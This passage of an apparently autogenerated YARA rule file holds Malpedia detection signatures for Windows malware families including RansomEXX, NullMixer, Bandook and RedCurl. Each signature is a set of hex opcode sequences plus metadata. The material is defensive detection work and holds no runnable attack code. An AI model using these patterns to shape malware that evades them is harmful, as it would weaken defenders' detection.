		$sequence_6 = { 8b8dd48bffff 6a00 6880000000 6a04 6a00 6a00 6a04 }
		$sequence_7 = { eb19 8b4c2414 8b4904 8b440c4c 8d4c0c14 f7d8 }
		$sequence_8 = { 33d2 8955fc 3bca 7458 33f6 52 c7411407000000 }
		$sequence_9 = { c745f463006f00 c745f86d000000 e8???????? 3c01 7441 }
	condition:
		7 of them and filesize < 524288
}

rule MALPEDIA_Win_Transferloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6881fadd-235e-58e1-86ed-39c1ca8da641"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.transferloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.transferloader_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "c6b3fd0089b61d2c316b9ea19bd98256a6361edd3a6f033006f4e490787182fc"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0fb609 880c02 e9???????? 48837c244800 7412 4c8b442448 33d2 }
		$sequence_1 = { 4889442438 41b810000000 488b542438 488b4c2430 }
		$sequence_2 = { 88440c20 b801000000 486bc002 b901000000 486bc901 }
		$sequence_3 = { 488d442424 48898424f8000000 488d442420 4889842400010000 }
		$sequence_4 = { b903000000 f3aa 48b8bce015361abafbff 48898424c8000000 c744242c00000000 486344242c }
		$sequence_5 = { 4889842498010000 488b842490010000 4889842468010000 c6442440eb c644244108 c644244248 c644244389 }
		$sequence_6 = { 488b09 4863493c 480308 488bc1 4889442430 488b442430 }
		$sequence_7 = { 4889542410 48894c2408 4881eca8000000 c6442420eb c644242108 }
		$sequence_8 = { 488b442420 4889442428 488b442428 0fb700 3d4d5a0000 7404 32c0 }
		$sequence_9 = { 488b8c2420010000 ff15???????? 4883bc24e000000000 7418 4c8b8424e0000000 33d2 }
	condition:
		7 of them and filesize < 216064
}

rule MALPEDIA_Win_Nullmixer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "07ba7e58-2a57-502b-80f6-37285125f4cb"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nullmixer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nullmixer_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "ef3e886b25db0cbcc96c6b82a5addac8533ba94ae036aa8c2ef621bf053010dc"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 85f6 0f8ed1000000 894c2418 8b7b68 c1e603 31d2 895c241c }
		$sequence_1 = { e9???????? 8b4500 89e9 ff5028 8b442418 8b7c2454 8b5804 }
		$sequence_2 = { 89ce 0f8586010000 38d0 0f84b9010000 0fb7442464 8b4c2460 6683f8ff }
		$sequence_3 = { 8b45bc 85c0 0f8536020000 807dc001 0f842c020000 8b4520 31c9 }
		$sequence_4 = { 83ec08 0fb6442420 8b7c2428 c7042400000000 8b542430 88442407 8b442424 }
		$sequence_5 = { e8???????? 8b44243c b925000000 8b10 8b5218 81fa???????? 0f842bffffff }
		$sequence_6 = { ff5210 0fbe17 89e9 89c3 8b4500 83ec04 891424 }
		$sequence_7 = { e8???????? b902000000 89c6 89c3 f3a6 0f97c0 1c00 }
		$sequence_8 = { 0f85baf9ffff 0fb7550c 8d4508 e8???????? 89c3 0fb64610 e9???????? }
		$sequence_9 = { 8b842488000000 8b942494000000 8b00 894c2404 8954240c 8b8c2480000000 8b942490000000 }
	condition:
		7 of them and filesize < 2351104
}

rule MALPEDIA_Win_Ransomexx_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "094b727d-6615-5ea8-8297-ce60c4df65db"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ransomexx"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ransomexx_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "88fc0fd7827f895e1a84baf4a50e5e79c472c52e50515dafeb1f3f74d8cf643c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c1eb08 81e3ff000000 333c9db07a4200 8b5dec }
		$sequence_1 = { 8a10 881406 40 49 75f7 8b7df0 }
		$sequence_2 = { 8b0d???????? 6a04 8d45e8 6a00 50 ffd1 }
		$sequence_3 = { 6a00 ff15???????? 85c0 7415 0fb745e0 8b0d???????? }
		$sequence_4 = { 8d3c8500000000 8b0417 53 50 ff15???????? eb31 }
		$sequence_5 = { b801000000 8945dc 8945e0 33f2 }
		$sequence_6 = { 3b45ec 729b 8b4d10 8b5104 8955fc }
		$sequence_7 = { 8d5df4 8d75e0 8bc3 e8???????? 8bf0 85f6 }
		$sequence_8 = { b16c c7006e74646c c740046c2e646c 884808 50 ff15???????? }
		$sequence_9 = { e8???????? 83c404 85c0 7520 8b4dfc f7d9 890f }
	condition:
		7 of them and filesize < 372736
}

rule MALPEDIA_Win_Winos_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ab76e8bd-21bc-5539-b1fb-f47fdb274949"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.winos"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.winos_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "e8eeb814a2c5b4ab9f10ee5708c1f0bfd3c156bc0fa60e8429c570c21e8f598c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 66890c70 5e 8bc7 5f 5b 5d c20800 }
		$sequence_1 = { eb0d 8d95bcfbffff 52 ff15???????? 8b85bcfbffff b906000000 663bc8 }
		$sequence_2 = { 8d8de0fcffff 57 51 e8???????? 8b1d???????? }
		$sequence_3 = { 83c40c 899c2460040000 33db 8d4c243c 51 89bc246c040000 }
		$sequence_4 = { 2bd6 c1fa02 899530feffff 3bdf 7563 8bc3 }
		$sequence_5 = { 8d4db8 50 8b853cffffff 50 }
		$sequence_6 = { 8b442418 53 52 6a03 6a00 56 }
		$sequence_7 = { c70009000000 e8???????? ebda 8bc3 c1f805 8d3c8540310310 8bf3 }
		$sequence_8 = { 5d c3 55 8bec 8b4e10 }
		$sequence_9 = { db45cc d84dc8 e8???????? 8b7dbc 8bf0 8945c4 6a4c }
	condition:
		7 of them and filesize < 457728
}

rule MALPEDIA_Win_Stration_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "41dc722e-36ee-57b1-9a26-7229c2369407"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stration"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.stration_auto.yar#L1-L114"
		license_url = "N/A"
		logic_hash = "e64d83d58a5476627a814f6a3e2d0bd532d00a922e21b2d066d65b8e0bc95a9c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7407 6a01 e8???????? 8a15???????? }
		$sequence_1 = { 8b4c2434 c1e908 32c8 884c2435 8b542434 c1ea10 }
		$sequence_2 = { 56 89442420 b37b e8???????? 85ff }
		$sequence_3 = { 8d4c240c b81f85eb51 f7e9 8bc1 c1fa05 50 }
		$sequence_4 = { 85db 7474 57 e8???????? 83c404 85c0 }
		$sequence_5 = { 56 8be8 e8???????? 6a64 }
		$sequence_6 = { 50 ba11010000 8bcf e8???????? 83fe66 }
		$sequence_7 = { 83ec14 85c0 756f a1???????? 8b0d???????? }
		$sequence_8 = { ff15???????? 8a0d???????? 22cb 85f6 8935???????? }
		$sequence_9 = { 68???????? e8???????? a1???????? 0fafc6 }
	condition:
		7 of them and filesize < 49152
}

rule MALPEDIA_Win_Venomloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "360daa47-065f-559b-a4bd-3c105892d050"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.venomloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.venomloader_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "2a010e987b08fda7866a0ce45dd38105218c7c231dfd9f1e74d7bf8cc14fb654"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 48894d10 895518 4c894520 837d1803 7758 837d1802 }
		$sequence_1 = { 488d1503ad0a00 c70105000000 48895108 c3 488d15f1ac0a00 c7010b000000 48895108 }
		$sequence_2 = { 53 4883ec20 4889cb 488d0d91b90000 e8???????? 4889c2 488b03 }
		$sequence_3 = { 4883e918 4c89e2 e8???????? eb88 488d0d07f10400 e8???????? 4889c3 }
		$sequence_4 = { 4889742468 0f11742450 e8???????? 488b442470 488b542478 488b9c2488000000 4889542478 }
		$sequence_5 = { 48c1ea20 83e201 4c39d9 72df 4983eb01 4d29eb 4983e3fc }
		$sequence_6 = { 84d2 0f84b8000000 384549 7452 384548 744d 38c1 }
		$sequence_7 = { 4989d0 488d1540910c00 4889c1 e8???????? 488d85d0040000 488d95f0040000 4c8d05d3910c00 }
		$sequence_8 = { 4c89e2 4889e9 66897c2468 e8???????? 89c7 84c0 0f85fd050000 }
		$sequence_9 = { 48895e18 8b08 85c9 0f853e010000 83430801 488d05e02d0b00 48897e20 }
	condition:
		7 of them and filesize < 2592768
}

rule MALPEDIA_Win_Sykipot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e29757c6-dae5-5753-908e-00d3e87a0250"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sykipot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sykipot_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "744def3f8deb3752311459797b4729b29083d33b4fd30373345787d25fb29e80"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d842494030000 68???????? 50 ffd6 83c40c 85c0 0f85fd000000 }
		$sequence_1 = { 8bcd 83e103 8d442410 f3a4 }
		$sequence_2 = { b93f000000 33c0 8dbc2469060000 88942468070000 f3ab }
		$sequence_3 = { 3bf3 89742438 751b 8d4c2424 }
		$sequence_4 = { 83c408 85c0 75da 8b85e8feffff 8b8dd8feffff eb06 }
		$sequence_5 = { c1e902 f3a5 8bcd 8d94248c010000 83e103 }
		$sequence_6 = { aa c744241820000000 52 8d442428 50 ff15???????? 83c9ff }
		$sequence_7 = { 8b94242c060000 56 8d842498000000 57 }
		$sequence_8 = { 50 ffd6 83c40c 8d4c2428 51 68???????? 6a00 }
		$sequence_9 = { e8???????? 83c410 68???????? ffd5 8d842488000000 50 ffd5 }
	condition:
		7 of them and filesize < 286720
}

rule MALPEDIA_Win_Penco_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6aee07a7-ef18-5814-98a9-4888b78c9e4c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.penco"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.penco_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "cbd5d55ae946f04f495d8f2278cd17d368565e9345c264d195e742a52381e75b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 33349500d83400 8bcf c1e918 33348d28ec3400 8b4c2410 0fb6d1 33349500d43400 }
		$sequence_1 = { 75f6 8b542410 52 ff15???????? 6800c00000 6a00 56 }
		$sequence_2 = { 51 8d95ecf0ffff 52 8b85b0fdffff 8d8c05e0fdffff 51 }
		$sequence_3 = { 6800300000 8b9548feffff 52 6a00 ff15???????? 8945e4 }
		$sequence_4 = { ff15???????? 68???????? 8b4de4 51 ff15???????? 6a02 }
		$sequence_5 = { 8d8c245c020000 51 03f0 8d142e 68???????? 52 e8???????? }
		$sequence_6 = { 69c0c4020000 c784059c96ffff4d000000 e9???????? c7851c94ffff00000000 b901000000 85c9 0f8409090000 }
		$sequence_7 = { 8b4508 56 8d34c5c0c23400 833e00 7513 50 e8???????? }
		$sequence_8 = { 3bc6 740b 3dea000000 0f85d8000000 8b6c2410 3bee 0f84da000000 }
		$sequence_9 = { 8b349528ec3400 8b542414 894c241c 8b4c2410 c1e910 0fb6f9 3334bd28e83400 }
	condition:
		7 of them and filesize < 319488
}

rule MALPEDIA_Win_Bandook_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "49488c81-393e-59b5-ae7a-2a41b9e495a2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bandook"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bandook_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "aa9d013de87f3f2f49289f0a80f6ab44faf8f44b73388fb66ee1528c334b1487"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b85f0bfffff 8985a0beffff 89b598beffff 899d94beffff }
		$sequence_1 = { 8d95f4fbffff 83c414 e8???????? 8b4df8 33cd 5e e8???????? }
		$sequence_2 = { 8b45f0 0fb640f8 0fb680789d1c13 3334c5a3c31e13 8bc2 c1e818 0fb688789d1c13 }
		$sequence_3 = { 83c404 89442414 68c0d40100 e8???????? 83c404 8bf8 }
		$sequence_4 = { 8945fc 803d????????01 8b4508 753a ff30 ba???????? }
		$sequence_5 = { 8bc8 e8???????? 83c408 8d4704 c707???????? c700???????? 8b4df4 }
		$sequence_6 = { 58 6bc000 c7805cd11e1302000000 6a04 58 6bc000 8b0d???????? }
		$sequence_7 = { 64a300000000 8bf9 897dac c745fc00000000 897d98 c745a800000000 0f2805???????? }
		$sequence_8 = { e8???????? 8bf0 83c404 8975e0 6a00 8bce c645fc01 }
		$sequence_9 = { 0fb708 8d4002 66894c02fe 6685c9 75f0 8d8c24c00d0000 }
	condition:
		7 of them and filesize < 23088128
}

rule MALPEDIA_Win_Redcurl_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d681119a-f653-5bed-a537-3617b5c42d11"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.redcurl"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.redcurl_auto.yar#L1-L199"
		license_url = "N/A"
		logic_hash = "e9dbdef2d970be2c43c2c35ff66ca296c8c7b5f23d7ab81a2c0ef377599edc93"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 2bc6 48 50 56 }
		$sequence_1 = { f7f9 80c261 88143e 47 }
		$sequence_2 = { ff15???????? 8bd0 c7461000000000 8bca }
		$sequence_3 = { 6a00 6a00 6aff 8bf8 6a00 57 }
		$sequence_4 = { 6a00 6a00 50 53 ff15???????? 6a00 6a00 }
		$sequence_5 = { 85ff 747a 85c0 7476 6800010000 }
		$sequence_6 = { 8bf0 6a00 6a03 6a00 }
		$sequence_7 = { 0f85e90b0000 eb00 f30f7e442404 660f2815???????? 660f28c8 }
		$sequence_8 = { 8b4610 3bc2 726f 2bc2 }
		$sequence_9 = { 3bc2 0f42d0 0fb6041a 03d3 }
		$sequence_10 = { e8???????? c745e800000000 c745ec0f000000 c645d800 8d5001 8b4610 }
		$sequence_11 = { 6a00 6a50 51 56 ff15???????? 8bd8 }
		$sequence_12 = { 726f 2bc2 83c9ff 83f8ff 0f42c8 }
		$sequence_13 = { 8d4590 c7458c00000000 894588 c6459000 e8???????? }
		$sequence_14 = { c70424???????? e8???????? 8b5304 83c001 83ec0c 39d0 }
		$sequence_15 = { c785acfcffff00000000 8985a8fcffff 8d8580fdffff c7442408???????? }
		$sequence_16 = { 0f84f31d0000 0fb60e 83c601 3dff000000 }
		$sequence_17 = { 0fb607 888598feffff 8b852cfdffff 89b594feffff }
		$sequence_18 = { 0f84b70c0000 8bb538feffff 39f2 0f86c50a0000 }
		$sequence_19 = { 890424 e8???????? 8b85c4fbffff 83ec08 8d9510feffff }
		$sequence_20 = { 8944240c 8b856cfdffff 89442404 e8???????? 83ec10 8d8500fcffff }
	condition:
		7 of them and filesize < 487424
}

rule MALPEDIA_Win_Polyvice_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a1ddf89c-1c54-5551-99ab-406b8afd6790"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.polyvice"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.polyvice_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "2b6e9e23b007599969dc0f145dba20938a3646054daf998e366135a635120584"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c1c207 4431c2 01ca 4489c9 c1c902 01d6 4189c8 }
		$sequence_1 = { 41d1c1 4589ca 4589c1 4109f9 21fd 448954240c 4121c9 }
		$sequence_2 = { 4c897c2420 e8???????? 488b0d???????? 4989c4 ffd3 488b2d???????? }
		$sequence_3 = { 4489ef c1ef0a 4589d5 31f8 4531dd 01c2 4489e8 }
		$sequence_4 = { 5b 5e 5f 5d c3 488d0de5a90100 41b804010000 }
		$sequence_5 = { 41895120 0fb710 0fb64002 6641895125 41884127 488b443c48 }
		$sequence_6 = { c1e80a 4131c6 4489d0 4189da 438d143e 21d8 41c1ca06 }
		$sequence_7 = { 4131c0 4521d0 41c1ca02 4131d0 8d942a9979825a 4101c8 4489c9 }
		$sequence_8 = { 4c8d0526d40000 c1e008 31c3 89f8 c1e818 0fb6d3 458b1c82 }
		$sequence_9 = { 664139dc 0f46d9 83c201 0fb7c2 4439f0 7cdc }
	condition:
		7 of them and filesize < 369664
}

rule MALPEDIA_Win_Unidentified_092_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "59b4c790-d726-59b3-ba7e-c5c1b1aad17c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_092"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_092_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "94c0cdecf630787615c3fd3071d6bf919aa9412f5889bd4558c045e4fba0dd89"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 50 8b08 ff511c c745fcffffffff 83ceff 8b7db4 }
		$sequence_1 = { e8???????? 83bd94f6ffff08 8d8d98f5ffff 8d8580f6ffff 0f438580f6ffff 51 }
		$sequence_2 = { 57 6a00 ff15???????? 50 ff15???????? 8bc3 8b4df4 }
		$sequence_3 = { 8d8d14f6ffff e8???????? 8d8d14f6ffff 8ad8 e8???????? 84db 0f84b0000000 }
		$sequence_4 = { 8b5ddc 03ca 23c7 8bd3 0bf0 c1ca0b 03f1 }
		$sequence_5 = { 8b470c 89460c 8b4710 894610 c745fc00000000 8d4e14 c706???????? }
		$sequence_6 = { c1c10a c1ca0d 33d1 895dfc 8b4df4 c1c902 33d1 }
		$sequence_7 = { 8d8db8fdffff 81e37fffffff e8???????? f6c340 }
		$sequence_8 = { ffd7 8bf8 897dd4 eb03 8b7dd4 }
		$sequence_9 = { 51 8bd0 8d8d68fbffff e8???????? 8bf8 83c410 8d045b }
	condition:
		7 of them and filesize < 10202112
}

rule MALPEDIA_Win_Elirks_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "43457097-ea8b-5864-bbde-86ef37584143"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.elirks"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.elirks_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "9b5bf7e4bf894eff89b4a5704e72b876af8697001a5b80ec9161e8abc0610ab3"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 894608 5f 5e 81c40c020000 c3 }
		$sequence_1 = { 0f848b010000 8b742414 8b15???????? 6a00 8d442440 50 }
		$sequence_2 = { 56 8d7e08 57 8d442420 50 8d4c241c 51 }
		$sequence_3 = { 52 8d5104 83c0ff 52 }
		$sequence_4 = { 8d4c2414 51 8bd1 52 ff15???????? f605????????02 742c }
		$sequence_5 = { 52 6a00 8bc3 e8???????? 85c0 7515 }
		$sequence_6 = { 6a0c 50 b908000000 8bc7 e8???????? 8bf0 83c408 }
		$sequence_7 = { 0f8592000000 f605????????08 a1???????? 53 8b1d???????? }
		$sequence_8 = { 8b1d???????? 8b2d???????? 8b8120c20000 6aff 50 }
		$sequence_9 = { e8???????? 85c0 7414 8b44241c 8d542410 }
	condition:
		7 of them and filesize < 81920
}

rule MALPEDIA_Win_Waterminer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8c2bad66-5d35-57b7-b9da-21c6dec00989"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.waterminer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.waterminer_auto.yar#L1-L162"
		license_url = "N/A"
		logic_hash = "f10b4bcaeeaace43d5cd2141c609b5656e22416293022c0fdf8f9cf3861e271d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 51 6804100020 8b5508 52 }
		$sequence_1 = { 8b9584fdffff 0fb68208794400 ff2485f0784400 8b8decfdffff 83c904 898decfdffff }
		$sequence_2 = { 03bc24a8000000 488bcd 4c8d0d35cb0300 83e13f }
		$sequence_3 = { b804000000 6bc014 8b8880434b00 330d???????? 894dfc }
		$sequence_4 = { 02d0 49ffc3 418d4001 881418 }
		$sequence_5 = { 8d8518f5ffff 50 e8???????? 83c404 898500f7ffff e8???????? 85c0 }
		$sequence_6 = { 0344240c 4403d0 428b4405e7 418bd2 }
		$sequence_7 = { 03442410 4403e8 428b4405e7 418bd5 }
		$sequence_8 = { 03c1 03d0 488d051e580500 418b0400 }
		$sequence_9 = { 6bc903 898180434b00 68???????? 8b55fc 52 }
		$sequence_10 = { 02c8 41880c18 418a03 240f }
		$sequence_11 = { 8945d8 837dd806 0f8797000000 8b4dd8 ff248d54e94600 8b55f8 }
		$sequence_12 = { 83fa78 7f19 0fbe85f3fdffff 0fbe8800ec4900 83e10f 898d28fdffff eb0a }
		$sequence_13 = { 8945f0 817df005010000 7302 eb05 e8???????? 8b4df0 c681f82c4b0000 }
		$sequence_14 = { 03c0 2bc8 0f84ec040000 8d41ff 8b848288d20600 }
		$sequence_15 = { 0344240c 4403d0 488d051a560500 418b0400 }
	condition:
		7 of them and filesize < 1556480
}

rule MALPEDIA_Win_Colibri_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c5670290-4724-5847-ad87-e4a198921e3b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.colibri"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.colibri_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "07fa90a8bd47a0724796f8c6b0b275796c3daebded1dd7bb4e8069ed71142d39"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
